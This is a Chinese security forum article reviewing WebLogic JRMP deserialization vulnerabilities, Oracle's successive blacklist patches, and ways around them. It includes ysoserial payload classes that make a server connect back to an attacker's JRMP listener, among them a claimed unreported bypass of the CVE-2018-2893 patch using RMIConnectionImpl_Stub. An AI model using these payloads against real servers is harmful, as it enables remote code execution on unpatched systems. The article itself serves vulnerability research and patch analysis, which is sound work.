Weblogic JRMP反序列化漏洞回顾

lpwd / 2018-07-24 22:17:23 / 浏览数 7309 技术文章 技术文章 顶(3) 踩(0)

Weblogic的这个反序列化漏洞补来补去还是被绕过，黑名单的修复方式一直饱受诟病，现在最新的CVE-2018-2893的修复依然可以绕过。回看一下这个反序列化漏洞，不

1、CVE-2017-3248

漏洞payload： JRMPClient
这个payload最早见于Jenkins的反序列化漏洞CVE-2016-0788，用于发起一个反向连接JRMP
server，构造出另一个反序列化场景，从而绕过原有的黑名单限制。此外，还有JRMPListener，这payload是监听一个JRMP
Server端口，跟JRMPClient一样，方便二次利用。
Oracle官方的修复方式：
weblogic.rjvm.InboundMsgAbbrev.ServerChannelInputStream.class:

```
    protected Class<?> resolveProxyClass(String[] interfaces)
      throws IOException, ClassNotFoundException
    {
      for (String intf : interfaces) {
        if (intf.equals("java.rmi.registry.Registry")) {
          throw new InvalidObjectException("Unauthorized proxy deserialization");
        }
      }
      return super.resolveProxyClass(interfaces);
    }
  }
}
```

修复方式只是在resolveProxyClass进行一个简单的判断，拦截java.rmi.registry.Registry接口。所以很快就有了下一个绕过。

2、CVE-2018-2628

网上公开的绕CVE-2017-3248有这几种方法：

Payload 1：

```
 */
@SuppressWarnings ( {
    "restriction"
} )
@PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectSMTest")
public class JRMPClient1 extends PayloadRunner implements ObjectPayload<Object> {

    public Object getObject ( final String command ) throws Exception {

        String host;
        int port;
        int sep = command.indexOf(':');
        if ( sep < 0 ) {
            port = new Random().nextInt(65535);
            host = command;
        }
        else {
            host = command.substring(0, sep);
            port = Integer.valueOf(command.substring(sep + 1));
        }
        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint te = new TCPEndpoint(host, port);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        return ref;
    }


    public static void main ( final String[] args ) throws Exception {
        Thread.currentThread().setContextClassLoader(JRMPClient1.class.getClassLoader());
        PayloadRunner.run(JRMPClient1.class, args);
    }
}

```

这是笔者提交给Oracle官方的绕过。修改ysoerial的JRMPClient，精简了原来的payload，直接就是一个sun.rmi.server.UnicastRef对象。因为Proxy在这里并不是必需的，

Payload 2：替换接口

xxlegend's payload
这个CVE廖也提交了绕过，他的绕过是用java.rmi.activation.Activator替换java.rmi.registry.Registry，从而绕过resolveProxyClass的判断。其实这里对接口没有要求，不

Payload 3：weblogic.jms.common.StreamMessageImpl

StreamMessageImpl这个点在反序列化的时候没有resolveProxyClass检查，从而绕过。
Oracle在2018年4月发布的补丁中修复方式是将sun.rmi.server.UnicastRef加入了黑名单中，weblogic.utils.io.oif.WebLogicFilterConfig.class：

```
private static final String[] DEFAULT_LIMITS = { "maxdepth=100" };
 private static final String[] DEFAULT_BLACKLIST_PACKAGES = { "org.apache.commons.collections.functors", "com.sun.org.apache.x
 private static final String[] DEFAULT_BLACKLIST_CLASSES = { "org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.gro
```

可能Oracle官方并没有验证过补丁，这个修复方式只对我提交的bypass（Payload 1）有效，而Payload
2和3依然可以使用。分析了一下后两个payload依然可以使用的原因：
主要是sun.rmi.server.UnicastRef经过了java.rmi.server.RemoteObjectInvocationHandler的封装，在序列化生成payload时，修改了UnicastRef对象写入流程。
查看RemoteObjectInvocationHandler父类java.rmi.server.RemoteObject的writeObject方法：

```
private void writeObject(ObjectOutputStream paramObjectOutputStream)
  throws IOException, ClassNotFoundException
{
  if (this.ref == null) {
    throw new MarshalException("Invalid remote object");
  }
  String str = this.ref.getRefClass(paramObjectOutputStream);
  if ((str == null) || (str.length() == 0))
  {
    paramObjectOutputStream.writeUTF("");
    paramObjectOutputStream.writeObject(this.ref);
  }
  else
  {
    paramObjectOutputStream.writeUTF(str);
    this.ref.writeExternal(paramObjectOutputStream);
  }
}
```

可以看到成员变量this.ref的序列化流程：

```
paramObjectOutputStream.writeUTF("UnicastRef");
this.ref.writeExternal(paramObjectOutputStream);
■■■readObject■
paramObjectInputStream.readUTF();
this.ref.readExternal(paramObjectInputStream);
```

经过RemoteObjectInvocationHandler封装后，sun.rmi.server.UnicastRef的反序列化过程是嵌套在RemoteObjectInvocationHandler的readObject中的，所以weblogi

```
protected Class resolveClass(ObjectStreamClass descriptor)
  throws InvalidClassException, ClassNotFoundException
{
  synchronized (this.lastCTE)
  {
    try
    {
      WebLogicObjectInputFilter.checkLegacyBlacklistIfNeeded(descriptor.getName());
    }
    catch (InvalidClassException ice)
    {
      if ((KernelStatus.DEBUG) && (debugMessaging.isDebugEnabled())) {
        RJVMLogger.logDebug("Unauthorized deserialization attempt");
      }
      throw ice;
    }
    ClassLoader ccl = RJVMEnvironment.getEnvironment().getContextClassLoader();
    if ((this.lastCTE.clz == null) || (this.lastCTE.ccl != ccl))
    {
      String classname = this.lastCTE.descriptor.getName();
      if (isPreDiabloPeer()) {
        classname = JMXInteropHelper.getJMXInteropClassName(classname);
```

如上图，反序列化时，descriptor.getName()获取到的是"java.rmi.server.RemoteObjectInvocationHandler"，不受黑名单限制，在反序列化过程中又调用了UnicastRef.r

3、CVE-2018-2893

针对前面漏洞没有修复彻底的问题，在今年7月份的补丁中进行了如下修复：

```
private static final String[] DEFAULT_BLACKLIST_PACKAGES = { "org.apache.commons.collections.functors", "com.sun.org.apache.xa
 private static final String[] DEFAULT_BLACKLIST_CLASSES = { "org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.gro
```

黑名单进行了更新：

```
java.rmi.activation.*
sun.rmi.server.*
java.rmi.server.RemoteObjectInvocationHandler
java.rmi.server.UnicastRemoteObject
```

4、CVE-2018-？

CVE-2018-2893还是可以继续绕的，懒得提交Oracle了，漏洞也有点鸡肋。根据前面的分析可知，我们只需要找一个类似java.rmi.server.RemoteObjectInvocationHandl
那么这个类应该满足以下条件：

1. 继承远程类：java.rmi.server.RemoteObject
2. 不在黑名单里边（`java.rmi.activation.*` ■`sun.rmi.server.*`）
   随便找了一下，符合条件的挺多的：
   javax.management.remote.rmi.RMIConnectionImpl_Stub
   com.sun.jndi.rmi.registry.ReferenceWrapper_Stub
   javax.management.remote.rmi.RMIServerImpl_Stub
   sun.rmi.registry.RegistryImpl_Stub
   sun.rmi.transport.DGCImpl_Stub

RMIConnectionImpl_Stub 继承至--> java.rmi.server.RemoteStub 继承至-->java.rmi.server.RemoteObject
稍微改一下payload便能继续利用了：

```
package ysoserial.payloads;

import java.rmi.server.ObjID;
import java.util.Random;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.util.PayloadRunner;
import javax.management.remote.rmi.RMIConnectionImpl_Stub;


@SuppressWarnings ( {
   "restriction"
} )

public class JRMPClient3 extends PayloadRunner implements ObjectPayload<Object> {

   public Object getObject ( final String command ) throws Exception {

       String host;
       int port;
       int sep = command.indexOf(':');
       if ( sep < 0 ) {
           port = new Random().nextInt(65535);
           host = command;
       }
       else {
           host = command.substring(0, sep);
           port = Integer.valueOf(command.substring(sep + 1));
       }
       ObjID id = new ObjID(new Random().nextInt()); // RMI registry
       TCPEndpoint te = new TCPEndpoint(host, port);
       UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
       RMIConnectionImpl_Stub stub = new RMIConnectionImpl_Stub(ref);
       return stub;
   }

   public static void main ( final String[] args ) throws Exception {
       Thread.currentThread().setContextClassLoader(JRMPClient3.class.getClassLoader());
       PayloadRunner.run(JRMPClient3.class, args);
   }
}
```

RMIConnectionImpl_Stub替换RemoteObjectInvocationHandler之后，payload又能用了。
后续利用需要配合Jdk7u21来执行命令，所以本身这个漏洞便有点鸡肋：
1、服务器没有禁用T3、T3S协议。
2、weblogic服务器需能访问到外网，才能发起JRMP请求。
3、服务器使用低版本jdk。

上一篇：Hack 虚拟内存系列（一）：C字... 下一篇：从Chrome源码看JavaScr...
1. 2 条回复


chybeta 2018-07-24 22:20:34

来自heige： CVE-2015-4852->CVE-2016-0638->CVE-2016-3510->CVE-2017-3248->CVE-2018-2628->CVE-2018-2893->CVE-2018-????

师傅不妨有空时补充补充前面几个CVE

0 回复Ta


小天 2018-08-07 13:17:42

不是我说你啊，你是真的懒

0 回复Ta
